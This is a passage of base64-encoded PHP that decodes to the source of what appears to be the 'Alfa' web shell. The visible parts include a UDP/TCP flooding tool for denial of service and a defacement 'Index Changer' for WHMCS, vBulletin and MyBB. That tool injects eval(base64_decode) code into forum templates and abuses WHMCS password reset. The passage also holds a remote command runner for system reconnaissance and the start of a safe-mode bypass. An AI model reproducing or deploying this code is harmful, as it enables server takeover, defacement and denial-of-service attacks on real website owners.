ZGVyPic7DQplY2hvICc8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IERPUyB8PC9kaXY+PC9wPjxmb3JtIG9uU3VibWl0PSJnKFwnZG9zXCcsbnVsbCx0aGlzLmhvc3QudmFsdWUsdGhpcy50aW1lLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLm0udmFsdWUpOyByZXR1cm4gZmFsc2U7Ij48ZGl2IGNsYXNzPSJ0eHRmb250Ij5NZXRob2QgOiA8c2VsZWN0IG5hbWU9Im0iIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PG9wdGlvbiB2YWx1ZT0idWRwIj5VRFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0Y3AiPlRDUDwvb3B0aW9uPjwvc2VsZWN0PiBIb3N0IDogPGlucHV0IG5hbWU9Imhvc3QiIHR5cGU9InRleHQiIHZhbHVlPSJsb2NhbGhvc3QiIHNpemU9IjI1IiAvPiBUaW1lIDogPGlucHV0IG5hbWU9InRpbWUiIHR5cGU9InRleHQiIHNpemU9IjE1IiAvPiBQb3J0IDogPGlucHV0IG5hbWU9InBvcnQiIHR5cGU9InRleHQiIHNpemU9IjEwIiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgLz48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7DQppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSAmJiAhZW1wdHkoJF9QT1NUWydhbGZhMiddKSAmJiAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSl7DQplY2hvIF9fcHJlKCk7DQokcGFja2V0cz0wOw0KaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7DQokZXhlY190aW1lPShpbnQpJF9QT1NUWydhbGZhMiddOw0KJHRpbWU9dGltZSgpOw0KJG1heF90aW1lPSRleGVjX3RpbWUrJHRpbWU7DQokaG9zdD0kX1BPU1RbJ2FsZmExJ107DQokcG9ydD0oaW50KSRfUE9TVFsnYWxmYTMnXTsNCiRtZXRob2Q9JF9QT1NUWydhbGZhNCddOw0KJG91dCA9IHN0cl9yZXBlYXQoJ1gnLDY1MDAwKTsNCndoaWxlKDEpew0KJHBhY2tldHMrKzsNCmlmKHRpbWUoKSA+ICRtYXhfdGltZSl7DQpicmVhazsNCn0NCiRmcCA9IEBmc29ja29wZW4oJG1ldGhvZC4nOi8vJy4kaG9zdCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgNSk7DQppZigkZnApew0KZndyaXRlKCRmcCwgJG91dCk7DQpmY2xvc2UoJGZwKTsNCn0NCn0NCmVjaG8gIjxjZW50ZXI+JHBhY2tldHMgKCIgLiBAcm91bmQoKCRwYWNrZXRzKjY1KS8xMDI0LCAyKSAuICIgTUIpIHBhY2tldHMgYXZlcmFnaW5nICIuIEByb3VuZCgkcGFja2V0cy8kZXhlY190aW1lLCAyKSAuICIgcGFja2V0cyBwZXIgc2Vjb25kPC9jZW50ZXI+IjsNCmVjaG8gIjwvcHJlPiI7DQp9DQplY2hvICc8L2Rpdj4nOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gX19wcmUoKXtyZXR1cm4oJzxwcmUgaWQ9InN0ck91dHB1dCIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBjbGFzcz0ibWwxIj4nKTt9DQpmdW5jdGlvbiBhbGZhSW5kZXhDaGFuZ2VyKCl7DQphbGZhaGVhZCgpOw0KDQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEluZGV4IENoYW5nZXIgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ0luZGV4Q2hhbmdlclwnLG51bGwsbnVsbCxudWxsLFwnd2htY3NcJykiPnwgV2htY3MgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ0luZGV4Q2hhbmdlclwnLG51bGwsXCd2YlwnLG51bGwpIj58IHZCdWxsZXRpbiB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnSW5kZXhDaGFuZ2VyXCcsbnVsbCxudWxsLFwnbXliYlwnKSI+fCBNeUJCIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkmJigkX1BPU1RbJ2FsZmEzJ10gPT0gJ3dobWNzJykpew0KZWNobyBfX3ByZSgpOw0KDQplY2hvICI8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgV2htY3MgfDwvZGl2Pg0KPHA+PGNlbnRlcj4iLmdldENvbmZpZ0h0bWwoJ3dobWNzJykuIjxmb3JtIG9uU3VibWl0PVwiZygnSW5kZXhDaGFuZ2VyJyxudWxsLG51bGwsbnVsbCwnd2htY3MnLHRoaXMuZm5hbWUudmFsdWUsdGhpcy5wYXRoLnZhbHVlLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMuaW5kZXgudmFsdWUpOyByZXR1cm4gZmFsc2U7XCI+DQoiOw0KJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpbnB1dE5hbWUnID0+ICdkYmgnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdVUkwnLCAnaW5wdXROYW1lJyA9PiAncGF0aCcsICdpbnB1dFZhbHVlJyA9PiAnaHR0cDovL3NpdGUuY29tL3dobWNzJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRmlsZSBOYW1lJywgJ2lucHV0TmFtZScgPT4gJ2ZuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ0JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lucHV0TmFtZScgPT4gJ2RibicsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDUnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNicgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykNCik7DQpjcmVhdGVfdGFibGUoJHRhYmxlKTsNCmVjaG8gIjxicj48ZGl2IGNsYXNzPSd0eHRmb250Jz58IFlvdXIgSW5kZXggfDwvZGl2Pjxicj4NCjx0ZXh0YXJlYSBuYW1lPWluZGV4IHJvd3M9JzE5JyBjb2xzPScxMDMnPjx0aXRsZT5IYWNrZWQgQnkgVUNFTiBIQVhPUiBGdCBUSUFSQTwvdGl0bGU+PGI+SGFja2VkIEJ5IFVDRU4gSEFYT1IgRnQgVElBUkE8L2I+PC90ZXh0YXJlYT48YnI+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+DQo8L2Zvcm0+PC9jZW50ZXI+PC9jZW50ZXI+IjsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTYnXSkpew0KJHMwbGV2aXNpYmxlPSJQb3dlcmVkIEJ5IFNvbGV2aXNpYmxlIjsNCiRkYnUgPSAkX1BPU1RbJ2FsZmE2J107DQokcGF0aCA9ICRfUE9TVFsnYWxmYTUnXTsNCiRmbmFtZSA9ICRfUE9TVFsnYWxmYTQnXTsNCiRkYm4gPSAkX1BPU1RbJ2FsZmE3J107DQokZGJwID0gJF9QT1NUWydhbGZhOCddOw0KJGRiaCA9ICRfUE9TVFsnYWxmYTknXTsNCiRpbmRleCA9ICRfUE9TVFsnYWxmYTEwJ107DQokaW5kZXggPSBzdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOw0KJGRlZmFjZSA9ICckeCA9IGJhc2U2NF9kZWNvZGUoIicuX19aVzVqYjJSbGNnKCRpbmRleCkuJyIpOyAkc29sZXZpc2libGUgPSBmb3BlbigiJy4kZm5hbWUuJyIsInciKTsgZndyaXRlKCRzb2xldmlzaWJsZSwkeCk7JzsNCiRzYXZlRGF0YSA9IF9fWlc1amIyUmxjZygkZGVmYWNlKTsNCiREZWYgPSAne3BocH1ldmFsKGJhc2U2NF9kZWNvZGUoIicuJHNhdmVEYXRhLiciKSk7ey9waHB9JzsNCmlmKCFlbXB0eSgkZGJoKSYmIWVtcHR5KCRkYnUpJiYhZW1wdHkoJGRibikmJiFlbXB0eSgkaW5kZXgpKXsNCiRjb25uPUBteXNxbGlfY29ubmVjdCgkZGJoLCRkYnUsJGRicCwkZGJuKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokc29sZVNhdmU9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IG1lc3NhZ2UgZnJvbSB0YmxlbWFpbHRlbXBsYXRlcyB3aGVyZSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyIpOw0KJHNvbGVHZXQgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGVTYXZlKTsNCiR0ZW1wU2F2ZTEgPSAkc29sZUdldFsnbWVzc2FnZSddOw0KJHRlbXBTYXZlID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJHRlbXBTYXZlMSk7DQokaW5qZWN0ID0gIlVQREFURSB0YmxlbWFpbHRlbXBsYXRlcyBTRVQgbWVzc2FnZT0nJERlZicgV0hFUkUgbmFtZT0nUGFzc3dvcmQgUmVzZXQgVmFsaWRhdGlvbiciOw0KJHJlc3VsdD1AbXlzcWxpX3F1ZXJ5KCRjb25uLCRpbmplY3QpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokY3JlYXRlID0gImluc2VydCBpbnRvIHRibGNsaWVudHMgKGVtYWlsKSB2YWx1ZXMoJ3NvbGV2aXNpYmxlQGZiaS5nb3YnKSI7DQokcmVzdWx0MiA9QG15c3FsaV9xdWVyeSgkY29ubiwkY3JlYXRlKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSl7DQokQWxmYVNvbGUgPSBuZXcgQWxmYUNVUkwodHJ1ZSk7DQokc2F2ZXVybCA9ICRBbGZhU29sZS0+U2VuZCgkcGF0aC4iL3B3cmVzZXQucGhwIik7DQokZ2V0VG9rZW4gPSBwcmVnX21hdGNoKCIvbmFtZT1cInRva2VuXCIgdmFsdWU9XCIoLio/KVwiL2kiLCRzYXZldXJsLCR0b2tlbik7DQokQWxmYVNvbGUtPlNlbmQoJHBhdGguIi9wd3Jlc2V0LnBocCIsInBvc3QiLCJ0b2tlbj17JHRva2VuWzFdfSZhY3Rpb249cmVzZXQmZW1haWw9c29sZXZpc2libGVAZmJpLmdvdiIpOw0KJGJhY2tkYXRhID0gIlVQREFURSB0YmxlbWFpbHRlbXBsYXRlcyBTRVQgbWVzc2FnZT0neyR0ZW1wU2F2ZX0nIFdIRVJFIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIjsNCiRTb2xldmlzaWJsZSA9IG15c3FsaV9xdWVyeSgkY29ubiwkYmFja2RhdGEpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7DQpfX2FsZXJ0KCdGaWxlIENyZWF0ZWQuLi4nKTsNCmVjaG8gIjxicj48cHJlIGlkPVwic3RyT3V0cHV0XCIgc3R5bGU9XCJtYXJnaW4tdG9wOjVweFwiIGNsYXNzPVwibWwxXCI+PGJyPjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSciLiRwYXRoLiIvIi4kZm5hbWUuIic+Q2xpY2sgSGVyZSAhPC9hPjwvZm9udD48L2I+PC9jZW50ZXI+PGJyPjxicj4iOw0KfWVsc2V7DQplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlBsZWFzZSBnbyB0byBUYXJnZXQgPC9mb250Pjxmb250IGNvbG9yPXJlZD5cIiAiLiRwYXRoLiIvcHdyZXNldC5waHAgXCI8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj4gYW5kIHJlc2V0IHBhc3N3b3JkIHdpdGggZW1haWw8L2ZvbnQ+ID0+IDxmb250IGNvbG9yPXJlZD5zb2xldmlzaWJsZUBmYmkuZ292PC9mb250Pjxici8+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+YW5kIGdvIHRvPC9mb250PiA8Zm9udCBjb2xvcj1yZWQ+XCIgIi4kcGF0aC4iLyIuJGZuYW1lLiIgXCI8L2ZvbnQ+PC9iPjwvY2VudGVyPjxicj48YnI+IjsNCn19fX0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkgJiYgKCRfUE9TVFsnYWxmYTEnXSA9PSAndmInKSl7DQplY2hvIF9fcHJlKCk7DQoNCmVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCB2QnVsbGV0aW4gfDwvZGl2Pg0KPHA+PGNlbnRlcj4iLmdldENvbmZpZ0h0bWwoJ3ZiJykuIjxmb3JtIG9uU3VibWl0PVwiZygnSW5kZXhDaGFuZ2VyJyxudWxsLCd2YicsdGhpcy5kYnUudmFsdWUsdGhpcy5kYm4udmFsdWUsdGhpcy5kYnAudmFsdWUsdGhpcy5kYmgudmFsdWUsdGhpcy5pbmRleC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSwnPj4nKTsgcmV0dXJuIGZhbHNlO1wiPg0KIjsNCiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMicgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQzJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2RidScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDQnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnZGJwJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDUnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1ByZWZpeCcsICdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaWQnID0+ICdkYl9wcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpDQopOw0KY3JlYXRlX3RhYmxlKCR0YWJsZSk7DQplY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+DQo8dGV4dGFyZWEgbmFtZT0naW5kZXgnIHJvd3M9JzE5JyBjb2xzPScxMDMnPjx0aXRsZT5IYWNrZWQgQnkgVUNFTiBIQVhPUiBGdCBUSUFSQTwvdGl0bGU+PGI+SGFja2VkIEJ5IFVDRU4gSEFYT1IgRnQgVElBUkE8L2I+PC90ZXh0YXJlYT48YnI+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7DQppZigkX1BPU1RbJ2FsZmE4J109PSc+Picpew0KJHMwbGV2aXNpYmxlPSJQb3dlcmVkIEJ5IFNvbGV2aXNpYmxlIjsNCiRkYnUgPSAkX1BPU1RbJ2FsZmEyJ107DQokZGJuID0gJF9QT1NUWydhbGZhMyddOw0KJGRicCA9ICRfUE9TVFsnYWxmYTQnXTsNCiRkYmggPSAkX1BPU1RbJ2FsZmE1J107DQokaW5kZXggPSAkX1BPU1RbJ2FsZmE2J107DQokcHJlZml4ID0gJF9QT1NUWydhbGZhNyddOw0KJGluZGV4PXN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7DQokc2V0X2luZGV4ID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOw0KJHNldF9pbmRleCAuPSBfX1pXNWpiMlJsY2coImVjaG8gXCIkaW5kZXhcIjsiKTsNCiRzZXRfaW5kZXggLj0gIlwnKSl9fXtcJHtleGl0KCl9fSI7DQppZighZW1wdHkoJGRiaCkmJiFlbXB0eSgkZGJ1KSYmIWVtcHR5KCRkYm4pJiYhZW1wdHkoJGluZGV4KSl7DQokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJGxvbGkxID0gIlVQREFURSAiLiRwcmVmaXguInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZT0nIi4kc2V0X2luZGV4LiIiLiRzMGxldmlzaWJsZS4iJyBXSEVSRSB0aXRsZT0nc3BhY2VyX29wZW4nIjsNCiRsb2xpMiA9ICJVUERBVEUgIi4kcHJlZml4LiJ0ZW1wbGF0ZSBTRVQgdGVtcGxhdGU9JyIuJHNldF9pbmRleC4iIi4kczBsZXZpc2libGUuIicgV0hFUkUgdGl0bGU9J0ZPUlVNSE9NRSciOw0KJGxvbGkzID0gIlVQREFURSAiLiRwcmVmaXguInN0eWxlIFNFVCBjc3M9JyIuJHNldF9pbmRleC4iIi4kczBsZXZpc2libGUuIicsIHN0eWxldmFycz0nJywgY3NzY29sb3JzPScnLCBlZGl0b3JzdHlsZXM9JyciOw0KQG15c3FsaV9xdWVyeSgkY29ubiwkbG9saTEpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7DQpAbXlzcWxpX3F1ZXJ5KCRjb25uLCRsb2xpMikgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsNCkBteXNxbGlfcXVlcnkoJGNvbm4sJGxvbGkzKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOw0KX19hbGVydCgnVkIgaW5kZXggY2hhbmdlZC4uLiEnKTsNCn0NCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgKCRfUE9TVFsnYWxmYTInXSA9PSAnbXliYicpKSB7DQplY2hvIF9fcHJlKCk7DQoNCmVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeWJiIHw8L2Rpdj4NCjxwPjxjZW50ZXI+Ii5nZXRDb25maWdIdG1sKCdteWJiJykuIjxmb3JtIG9uU3VibWl0PVwiZygnSW5kZXhDaGFuZ2VyJyxudWxsLCdudWxsJywnbXliYicsbnVsbCxudWxsLG51bGwsdGhpcy5teWJiZGJoLnZhbHVlLHRoaXMubXliYmRidS52YWx1ZSx0aGlzLm15YmJkYm4udmFsdWUsdGhpcy5teWJiZGJwLnZhbHVlLHRoaXMubXliYmluZGV4LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD1QT1NUIGFjdGlvbj0nJz4NCiI7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lucHV0TmFtZScgPT4gJ215YmJkYmgnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lucHV0TmFtZScgPT4gJ215YmJkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQzJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ215YmJkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ0JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ215YmJkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykNCik7DQpjcmVhdGVfdGFibGUoJHRhYmxlKTsNCmVjaG8gIjxicj48ZGl2IGNsYXNzPSd0eHRmb250Jz58IFlvdXIgSW5kZXggfDwvZGl2Pjxicj4NCjx0ZXh0YXJlYSBuYW1lPW15YmJpbmRleCByb3dzPScxOScgY29scz0nMTAzJz4NCjx0aXRsZT5IYWNrZWQgQnkgVUNFTiBIQVhPUiBGdCBUSUFSQTwvdGl0bGU+PGI+SGFja2VkIEJ5IFVDRU4gSEFYT1IgRnQgVElBUkE8L2I+PC90ZXh0YXJlYT48cD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJyA+PC9wPjwvZm9ybT48L2NlbnRlcj48L2NlbnRlcj4iOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSl7DQokbXliYl9kYmggPSAkX1BPU1RbJ2FsZmE2J107DQokbXliYl9kYnUgPSAkX1BPU1RbJ2FsZmE3J107DQokbXliYl9kYm4gPSAkX1BPU1RbJ2FsZmE4J107DQokbXliYl9kYnAgPSAkX1BPU1RbJ2FsZmE5J107DQokbXliYl9pbmRleCA9ICRfUE9TVFsnYWxmYTEwJ107DQppZighZW1wdHkoJG15YmJfZGJoKSYmIWVtcHR5KCRteWJiX2RidSkmJiFlbXB0eSgkbXliYl9kYm4pJiYhZW1wdHkoJG15YmJfaW5kZXgpKXsNCiRjb25uPUBteXNxbGlfY29ubmVjdCgkbXliYl9kYmgsJG15YmJfZGJ1LCRteWJiX2RicCwkbXliYl9kYm4pIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRwcmVmaXg9Im15YmJfIjsNCiRsb2xpNyA9ICJVUERBVEUgIi4kcHJlZml4LiJ0ZW1wbGF0ZXMgU0VUIHRlbXBsYXRlPSciLiRteWJiX2luZGV4LiInIFdIRVJFIHRpdGxlPSdpbmRleCciOw0KJHJlc3VsdCA9QG15c3FsaV9xdWVyeSgkY29ubiwkbG9saTcpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7DQpfX2FsZXJ0KCdNeUJCIGluZGV4IGNoYW5nZWQuLi4hJyk7DQp9DQp9DQp9DQplY2hvICI8L2Rpdj4iOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYXByb2MoKQ0Kew0KYWxmYWhlYWQoKTsNCmVjaG8gIjxEaXYgY2xhc3M9aGVhZGVyPjxicj48Y2VudGVyPiI7DQppZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKQ0KJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KaWYoJEdMT0JBTFNbJ3N5cyddPT0id2luIil7DQokcHJvY2Vzcz1hcnJheSgNCiJUYXNrIExpc3QiID0+InRhc2tsaXN0IC9WIiwNCiJTeXN0ZW0gSW5mbyIgPT4ic3lzdGVtaW5mbyIsDQoiQWN0aXZlIENvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLA0KIlJ1bm5pbmcgU2VydmljZXMiID0+ICJuZXQgc3RhcnQiLA0KIlVzZXIgQWNjb3VudHMiID0+ICJuZXQgdXNlciIsDQoiU2hvdyBDb21wdXRlcnMiID0+ICJuZXQgdmlldyIsDQoiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwNCiJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCik7fWVsc2V7DQokcHJvY2Vzcz1hcnJheSgNCiJQcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsDQoiU3lzbG9nIiA9PiJjYXQgL2V0Yy9zeXNsb2cuY29uZiIsDQoiUmVzb2x2IiA9PiAiY2F0IC9ldGMvcmVzb2x2LmNvbmYiLA0KIkhvc3RzIiA9PiJjYXQgL2V0Yy9ob3N0cyIsDQoiQ3B1aW5mbyI9PiJjYXQgL3Byb2MvY3B1aW5mbyIsDQoiVmVyc2lvbiI9PiJjYXQgL3Byb2MvdmVyc2lvbiIsDQoiU2JpbiI9PiJscyAtYWwgL3Vzci9zYmluIiwNCiJJbnRlcnJ1cHRzIj0+ImNhdCAvcHJvYy9pbnRlcnJ1cHRzIiwNCiJsc2F0dHIiPT4ibHNhdHRyIC12YSIsDQoiVXB0aW1lIj0+InVwdGltZSIsDQoiRnN0YWIiID0+ImNhdCAvZXRjL2ZzdGFiIg0KKTt9DQpmb3JlYWNoKCRwcm9jZXNzIGFzICRuID0+ICRsaW5rKXsNCmVjaG8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdwcm9jXCcsbnVsbCxcJycuJGxpbmsuJ1wnKSI+IHwgJy4kbi4nIHwgPC9hPic7DQp9DQplY2hvICI8L2NlbnRlcj48YnI+IjsNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsNCmVjaG8gIjxwcmUgY2xhc3M9J21sMScgc3R5bGU9J21hcmdpbi10b3A6NXB4JyA+IjsNCmlmKCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0mJiFlbXB0eSgkX1BPU1RbImMiXSkpeyRjbWQgPSAiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbImMiXSkuIic7Ijt9DQplY2hvIGFsZmFFeCgkY21kLiRfUE9TVFsnYWxmYTEnXSwgdHJ1ZSk7DQplY2hvICc8L3ByZT4nOw0KfQ0KZWNobyAiPC9kaXY+IjsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFzYWZlKCl7DQphbGZhaGVhZCgpOw0KZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgQXV0byBCeVBhc3NlciB8PC9kaXY+IjsNCmVjaG8gJzxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsXCdwaHAuaW5pXCcsbnVsbCkiPnwgUEhQLklOSSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxcJ2luaVwnKSI+fCAuaHRhY2Nlc3MoYXBhY2hlKSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLFwncGxcJykiPnwgLmh0YWNjZXNz